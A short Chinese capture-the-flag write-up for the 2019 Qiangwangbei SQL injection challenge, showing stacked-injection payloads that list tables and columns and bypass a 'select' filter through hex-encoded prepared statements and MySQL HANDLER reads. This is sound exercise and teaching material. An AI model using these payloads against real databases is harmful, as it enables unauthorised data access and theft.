题目链接
https://buuoj.cn/challenges#[强网杯 2019]随便注
解题过程
该题中,在使用 union select 查询显位符时,发现程序过滤了 select:
经过各种尝试都没法绕过,其实这题需要用到堆叠注入,即使用 ; 注入多条语句,使用如下命令查询到两个表:
点击查看代码
1';show tables;#
需要注意,表名为数字时,需要用反引号包裹进行查询!!(又他妈的一个小细节)
点击查看代码
1';show columns from `1919810931114514`;#
对于 flag 字段,直接 select 表是不行滴,因为 select 已经被过滤了,看大佬的 WriteUp,又学到了:
十六进制编码绕过
点击查看代码
1';SET@a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
handler 查询
点击查看代码
handler 表名 open as t;handler t read first;handler t read next;handler t close;
1';handler `1919810931114514` open as t;handler t read first;#